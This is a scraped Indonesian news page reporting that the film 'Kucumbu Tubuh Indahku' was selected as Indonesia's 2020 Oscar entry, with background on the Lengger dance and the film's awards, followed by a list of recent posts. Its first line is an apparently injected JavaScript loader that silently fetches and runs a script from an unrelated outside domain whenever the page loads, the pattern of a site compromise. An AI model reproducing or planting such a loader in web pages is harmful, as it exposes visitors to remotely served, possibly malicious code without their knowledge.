(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Film

‘Kucumbu Tubuh Indahku’ Resmi Wakili Indonesia ke Oscar 2020


JAKARTA, Kucumbu Tubuh Indahku merupakan film kedua Garin yang dipilih untuk mewakili Indonesia ke Oscar. Sebelumnya, film Daun di Atas Bantal (1998) juga pernah dikirim ke Oscar tapi belum berhasil menembus sebagai nominee.

Film Kucumbu Tubuh Indahku berkisah tentang penari Lengger bernama Juno. Sejak ditinggal ayahnya, Juno bergabung dengan sanggar tari Lengger. Tak diduga tarian itu membuatnya menapaki perjalanan hidup yang berliku. Sampai pada akhirnya, Juno bisa memahami dan menerima keindahan hidup sebagai seorang penari Lengger.

Tari Lengger sendiri merupakan budaya asli Indonesia, tepatnya berasal dari Banyumas. Tarian itu mengharuskan penarinya menampilkan sisi maskulin dan feminin dalam satu tubuh. Biasanya tarian itu dipentaskan lelaki, yang di keseharian mengubah diri jadi perempuan.

Mereka berlaku, berlenggok, dengan gemulai bak wanita sungguhan. Garin membuat Kucumbu Tubuh Indahku berdasarkan cerita hidup seorang penari Lengger, Rianto.

“Tubuh kita ini menyimpan ingatan. Rangkaian ingatan tersebut menjadi sebuah sejarah manusia, sejarah tubuh dan trauma-traumanya tersendiri yang bukan hanya personal, tapi juga merupakan representasi sosial dan politik yang dialami seorang individu,” kata Garin.

“Seorang penari Lengger yang harus menampilkan sisi maskulin dan feminin dalam satu tubuh adalah sebuah pergolakan ingatan tubuh yang sangat menantang,” lanjutnya dalam keterangan pers yang diterima CNNIndonesia.com, beberapa bulan lalu.

Film yang tayang di Indonesia sejak 18 April lalu itu sudah mendapat beberapa penghargaan internasional, termasuk dari Italia, Prancis, Australia, dan Meksiko. Kucumbu Tubuh Indahku juga sudah diputar di lebih dari 30 festival film di seluruh dunia.

Film yang tayang perdana di Festival Film Internasional Venesia ke-75 itu meraih penghargaan Venice Independent Film Critic 2018, kemudian Film Terbaik di Festival Des 3 Continents 2018, dan Asia Pasific Screen Awards 2018.

Sebelumnya, film tersebut sempat diliputi kontroversi karena menampilkan tema LGBT. Bahkan, sejumlah orang membuat petisi untuk memboikot film tersebut. (agn/end)

Reporter : Agn/end
Editor : Chell


Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

5 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

7 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

8 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

8 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

10 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

10 jam ago

This website uses cookies.